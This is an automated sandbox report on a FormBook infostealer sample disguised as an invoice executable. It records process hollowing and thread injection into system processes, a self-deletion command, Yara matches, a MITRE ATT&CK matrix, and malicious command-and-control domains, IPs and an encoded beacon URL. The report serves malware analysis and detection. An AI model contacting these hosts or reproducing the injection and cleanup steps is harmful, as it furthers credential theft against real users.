Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346C600 mov eax, dword ptr fs:[00000030h]	4_2_0346C600
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346C600 mov eax, dword ptr fs:[00000030h]	4_2_0346C600
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346C600 mov eax, dword ptr fs:[00000030h]	4_2_0346C600
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03498E00 mov eax, dword ptr fs:[00000030h]	4_2_03498E00
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349A61C mov eax, dword ptr fs:[00000030h]	4_2_0349A61C
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349A61C mov eax, dword ptr fs:[00000030h]	4_2_0349A61C
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03521608 mov eax, dword ptr fs:[00000030h]	4_2_03521608
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346E620 mov eax, dword ptr fs:[00000030h]	4_2_0346E620
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0351FE3F mov eax, dword ptr fs:[00000030h]	4_2_0351FE3F
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03538ED6 mov eax, dword ptr fs:[00000030h]	4_2_03538ED6
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034936CC mov eax, dword ptr fs:[00000030h]	4_2_034936CC
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A8EC7 mov eax, dword ptr fs:[00000030h]	4_2_034A8EC7
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0351FEC0 mov eax, dword ptr fs:[00000030h]	4_2_0351FEC0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034776E2 mov eax, dword ptr fs:[00000030h]	4_2_034776E2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034916E0 mov ecx, dword ptr fs:[00000030h]	4_2_034916E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FFE87 mov eax, dword ptr fs:[00000030h]	4_2_034FFE87
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E46A7 mov eax, dword ptr fs:[00000030h]	4_2_034E46A7
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03530EA5 mov eax, dword ptr fs:[00000030h]	4_2_03530EA5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03530EA5 mov eax, dword ptr fs:[00000030h]	4_2_03530EA5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03530EA5 mov eax, dword ptr fs:[00000030h]	4_2_03530EA5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034A3D43 mov eax, dword ptr fs:[00000030h]	4_2_034A3D43
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E3540 mov eax, dword ptr fs:[00000030h]	4_2_034E3540
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03487D50 mov eax, dword ptr fs:[00000030h]	4_2_03487D50
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348C577 mov eax, dword ptr fs:[00000030h]	4_2_0348C577
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0348C577 mov eax, dword ptr fs:[00000030h]	4_2_0348C577
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03538D34 mov eax, dword ptr fs:[00000030h]	4_2_03538D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352E539 mov eax, dword ptr fs:[00000030h]	4_2_0352E539
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03494D3B mov eax, dword ptr fs:[00000030h]	4_2_03494D3B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03494D3B mov eax, dword ptr fs:[00000030h]	4_2_03494D3B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03494D3B mov eax, dword ptr fs:[00000030h]	4_2_03494D3B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03473D34 mov eax, dword ptr fs:[00000030h]	4_2_03473D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0346AD30 mov eax, dword ptr fs:[00000030h]	4_2_0346AD30
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034EA537 mov eax, dword ptr fs:[00000030h]	4_2_034EA537
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E6DC9 mov eax, dword ptr fs:[00000030h]	4_2_034E6DC9
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E6DC9 mov eax, dword ptr fs:[00000030h]	4_2_034E6DC9
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E6DC9 mov eax, dword ptr fs:[00000030h]	4_2_034E6DC9
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E6DC9 mov ecx, dword ptr fs:[00000030h]	4_2_034E6DC9
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E6DC9 mov eax, dword ptr fs:[00000030h]	4_2_034E6DC9
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034E6DC9 mov eax, dword ptr fs:[00000030h]	4_2_034E6DC9
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03518DF1 mov eax, dword ptr fs:[00000030h]	4_2_03518DF1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347D5E0 mov eax, dword ptr fs:[00000030h]	4_2_0347D5E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0347D5E0 mov eax, dword ptr fs:[00000030h]	4_2_0347D5E0
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0352FDE2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0352FDE2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0352FDE2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0352FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0352FDE2
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492581 mov eax, dword ptr fs:[00000030h]	4_2_03492581
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492581 mov eax, dword ptr fs:[00000030h]	4_2_03492581
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492581 mov eax, dword ptr fs:[00000030h]	4_2_03492581
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03492581 mov eax, dword ptr fs:[00000030h]	4_2_03492581
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03462D8A mov eax, dword ptr fs:[00000030h]	4_2_03462D8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03462D8A mov eax, dword ptr fs:[00000030h]	4_2_03462D8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03462D8A mov eax, dword ptr fs:[00000030h]	4_2_03462D8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03462D8A mov eax, dword ptr fs:[00000030h]	4_2_03462D8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03462D8A mov eax, dword ptr fs:[00000030h]	4_2_03462D8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349FD9B mov eax, dword ptr fs:[00000030h]	4_2_0349FD9B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349FD9B mov eax, dword ptr fs:[00000030h]	4_2_0349FD9B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034935A1 mov eax, dword ptr fs:[00000030h]	4_2_034935A1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03491DB5 mov eax, dword ptr fs:[00000030h]	4_2_03491DB5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03491DB5 mov eax, dword ptr fs:[00000030h]	4_2_03491DB5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_03491DB5 mov eax, dword ptr fs:[00000030h]	4_2_03491DB5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_035305AC mov eax, dword ptr fs:[00000030h]	4_2_035305AC
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_035305AC mov eax, dword ptr fs:[00000030h]	4_2_035305AC
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_0349A44B mov eax, dword ptr fs:[00000030h]	4_2_0349A44B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 4_2_034FC450 mov eax, dword ptr fs:[00000030h]	4_2_034FC450

Source: C:\Users\user\Desktop\PT300975-inv.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\PT300975-inv.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 156.241.53.196 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.244 80			Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Thread register set: target process: 3440			Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Thread register set: target process: 3440			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Section unmapped: C:\Windows\SysWOW64\ipconfig.exe base address: E30000

Jump to behavior

Source: C:\Users\user\Desktop\PT300975-inv.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe			Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe'			Jump to behavior

Source: explorer.exe, 00000003.00000000.359794599.0000000004F80000.00000004.00000001.sdmp, ipconfig.exe, 00000004.00000002.605713889.00000000046D0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000002.605084238.0000000000EE0000.00000002.00000001.sdmp, ipconfig.exe, 00000004.00000002.605713889.00000000046D0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000002.605084238.0000000000EE0000.00000002.00000001.sdmp, ipconfig.exe, 00000004.00000002.605713889.00000000046D0000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: explorer.exe, 00000003.00000002.605084238.0000000000EE0000.00000002.00000001.sdmp, ipconfig.exe, 00000004.00000002.605713889.00000000046D0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PT300975-inv.exe	Queries volume information: C:\Users\user\Desktop\PT300975-inv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT300975-inv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PT300975-inv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.346082629.0000000004983000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384709518.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.345935550.000000000489F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.384973697.0000000004DD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.603938511.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.385166130.00000000050D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.604508928.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.mscorsvw.exe.400000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection512	Rootkit1	Credential API Hooking1	Security Software Discovery221	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Masquerading1	Input Capture1	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Input Capture1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion3	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Disable or Modify Tools1	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection512	LSA Secrets	System Network Configuration Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	System Information Discovery112	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Hidden Files and Directories1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Obfuscated Files or Information3	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Software Packing1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PT300975-inv.exe	21%	ReversingLabs	ByteCode-MSIL.Trojan.Razy

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.mscorsvw.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.asacal.com/jqc/?JfEtEZgp=cE9UUOc3pLPT0LAdHSIP3evlMF3IBhbdmq5wG0CQLEBsctkiCkQzhS7S4EgmhhRecsIvRlsotA==&ojq0s=RzulsD	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.solidconstruct.site	198.54.117.244	true	true	unknown
www.asacal.com	156.241.53.196	true	true	unknown
www.hongreng.xyz	unknown	unknown	true	unknown
g.msn.com	unknown	unknown	false	high
www.kornteengoods.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.asacal.com/jqc/?JfEtEZgp=cE9UUOc3pLPT0LAdHSIP3evlMF3IBhbdmq5wG0CQLEBsctkiCkQzhS7S4EgmhhRecsIvRlsotA==&ojq0s=RzulsD	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000003.00000002.604467265.000000000095C000.00000004.00000020.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.fonts.com	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com	explorer.exe, 00000003.00000000.367422589.000000000B1A6000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
156.241.53.196	unknown	Seychelles		136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
198.54.117.244	unknown	United States		22612	NAMECHEAP-NETUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	323028
Start date:	26.11.2020
Start time:	08:27:30
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PT300975-inv.exe
Cookbook file name:	default.jbs
